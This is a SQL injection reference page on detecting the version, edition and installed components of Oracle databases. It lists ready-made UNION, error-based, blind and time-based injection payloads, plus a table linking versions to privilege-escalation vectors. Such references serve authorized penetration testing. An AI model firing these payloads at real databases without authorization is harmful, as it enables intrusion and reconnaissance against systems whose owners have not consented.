oracle

Testing Version

Methods to determine the version of Oracle database

Identifying the Oracle database version is a crucial first step in SQL injection testing. Different Oracle versions have different features, vulnerabilities, and syntax support, which can significantly impact your testing strategy.

Version Information Queries

Oracle provides several ways to retrieve version information:

Method Description Example Output (19c)
SELECT BANNER FROM v$version Full version string, readable by any user Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
SELECT BANNER_FULL FROM v$version Banner plus the release update (18c+) Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production Version 19.22.0.0.0 (two lines)
SELECT VERSION, VERSION_FULL FROM v$instance Version numbers (VERSION_FULL from 18c); needs privileges 19.0.0.0.0, 19.22.0.0.0
SELECT PRODUCT, VERSION FROM product_component_version Version numbers, readable by any user Oracle Database 19c Enterprise Edition, 19.0.0.0.0

Up to 12c, v$version returns several rows (database, PL/SQL, CORE, TNS, NLSRTL); from 18c it returns a single row. v$instance needs SELECT ANY DICTIONARY or SELECT_CATALOG_ROLE.

Banners by version:

Version Example BANNER
8i Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production
9i Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
10g Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Prod
11g Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
12c Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
18c, 19c, 21c Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
23ai Oracle Database 23ai Free Release 23.0.0.0.0 - Develop, Learn, and Run for Free
23ai (23.26+) Oracle AI Database 26ai Free Release 23.26.3.0.0 - Develop, Learn, and Run for Free

The 23.2 and 23.3 developer releases still said 23c (renamed 23ai in May 2024), and Oracle AI Database 26ai is the 23ai code line renamed again: the version number stays 23 (v$instance.VERSION is 23.0.0.0.0), so test for 23 rather than 26.

Basic Version Queries

-- Most common method
SELECT BANNER FROM v$version WHERE ROWNUM=1

-- Version number, readable by any user
SELECT VERSION FROM product_component_version WHERE ROWNUM=1

-- Version numbers from v$instance (VERSION_FULL and VERSION_LEGACY from 18c)
SELECT VERSION, VERSION_FULL, VERSION_LEGACY FROM v$instance

Component Version Information

-- Banners of installed components, readable by any user
SELECT BANNER FROM all_registry_banners

-- Installed components and versions (needs DBA privileges)
SELECT COMP_ID, COMP_NAME, VERSION FROM dba_registry

-- Get feature usage info (needs DBA privileges)
SELECT NAME, VERSION, DETECTED_USAGES FROM dba_feature_usage_statistics

SQL Injection Examples

UNION-Based Version Detection

-- Two-column string query
' UNION SELECT BANNER,NULL FROM v$version WHERE ROWNUM=1--

-- Four-column string query
' UNION SELECT NULL,BANNER,NULL,NULL FROM v$version--

Error-Based Version Detection

These work when the application displays database errors. OR makes Oracle evaluate the function even though username = '' matches no row:

-- Oracle Text installed (CTXSYS): DRG-11701: thesaurus <banner> does not exist
' OR CTXSYS.DRITHSX.SN(1,(SELECT BANNER FROM v$version WHERE ROWNUM=1))=1--

-- Oracle 23ai+ with ERROR_MESSAGE_DETAILS=ON (the default): ORA-01722 is followed by ORA-03302 ... invalid string value: <banner>
' OR 1=TO_NUMBER((SELECT BANNER FROM v$version WHERE ROWNUM=1))--

Blind Version Detection

For blind SQL injection, the injected value must make the original condition true (here admin), otherwise the result is always empty:

-- Check if first character of the banner is 'O'
admin' AND ASCII(SUBSTR((SELECT BANNER FROM v$version WHERE ROWNUM=1),1,1))=79--

-- Check the major version directly
admin' AND (SELECT VERSION FROM product_component_version WHERE ROWNUM=1) LIKE '19.%'--

For time-based blind (DBMS_PIPE needs an explicit grant, see Timing):

-- Add delay if first character is 'O'
admin' AND (CASE WHEN ASCII(SUBSTR((SELECT BANNER FROM v$version WHERE ROWNUM=1),1,1))=79 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',10) ELSE 0 END)>=0--

Version-Specific Testing

Matching the banner identifies the release; the version number avoids the differences between banner formats:

-- Banner contains the release name ('8i', '9i', '10g', '11g', '12c', '18c', '19c', '21c', '23c', '23ai', '26ai')
admin' AND (SELECT COUNT(*) FROM v$version WHERE BANNER LIKE '%11g%')>0--

-- Major version number (8, 9, 10, 11, 12, 18, 19, 21, 23)
admin' AND (SELECT VERSION FROM product_component_version WHERE ROWNUM=1) LIKE '12.%'--

When v$version is not reachable, a feature that only exists from a given version gives the same answer: the payload succeeds on that version and later, and fails with an error on earlier ones:

Feature test Minimum version
LISTAGG(...) WITHIN GROUP (ORDER BY ...) 11g R2
SYS_CONTEXT('USERENV','CON_NAME') (multitenant) 12c
BANNER_FULL column of v$version 18c
TRUE boolean literal, SELECT without FROM dual 23ai
-- 12c or later (ORA-02003 on 11g)
admin' AND SYS_CONTEXT('USERENV','CON_NAME') IS NOT NULL--

-- 18c or later (ORA-00904 on 12c)
admin' AND (SELECT BANNER_FULL FROM v$version WHERE ROWNUM=1) IS NOT NULL--

-- 23ai or later (fails on 21c and earlier: ORA-00920 in a WHERE clause, ORA-00900 in some other contexts)
admin' AND TRUE--

Oracle Edition Detection

The banner also names the edition: Enterprise Edition, Standard Edition (Standard Edition 2 from 12.1.0.2), Express Edition (XE, up to 21c) or Free (23ai):

-- Checking for Enterprise Edition
admin' AND (SELECT COUNT(*) FROM v$version WHERE BANNER LIKE '%Enterprise%')>0--

-- Checking for Express Edition
admin' AND (SELECT COUNT(*) FROM v$version WHERE BANNER LIKE '%Express%')>0--

PL/SQL Version Detection

Up to 12c, v$version has a separate PL/SQL row; from 18c the PL/SQL version is the database version:

-- Get PL/SQL version (12c and earlier)
' UNION SELECT BANNER,NULL FROM v$version WHERE BANNER LIKE 'PL/SQL%'--

Installed Components

ALL_REGISTRY_BANNERS lists installed components such as Oracle Text, XML DB or APEX for any user; DBA_REGISTRY gives the same with IDs but needs DBA privileges:

' UNION SELECT BANNER,NULL FROM all_registry_banners--

-- With DBA privileges
' UNION SELECT comp_name,version FROM dba_registry--

Practical Considerations

Version-based Attack Planning

Once you know the version, you can plan more targeted attacks:

Version Potential Vectors
8i, 9i Older PL/SQL package vulnerabilities
10g PL/SQL injection, SYS.DBMS_EXPORT_EXTENSION (fixed by the 2006 CPUs)
11g DBMS_JVM_EXP_PERMS privilege escalation (needs Java; fixed in the April 2010 CPU)
12c+ More restrictive by default, need targeted approaches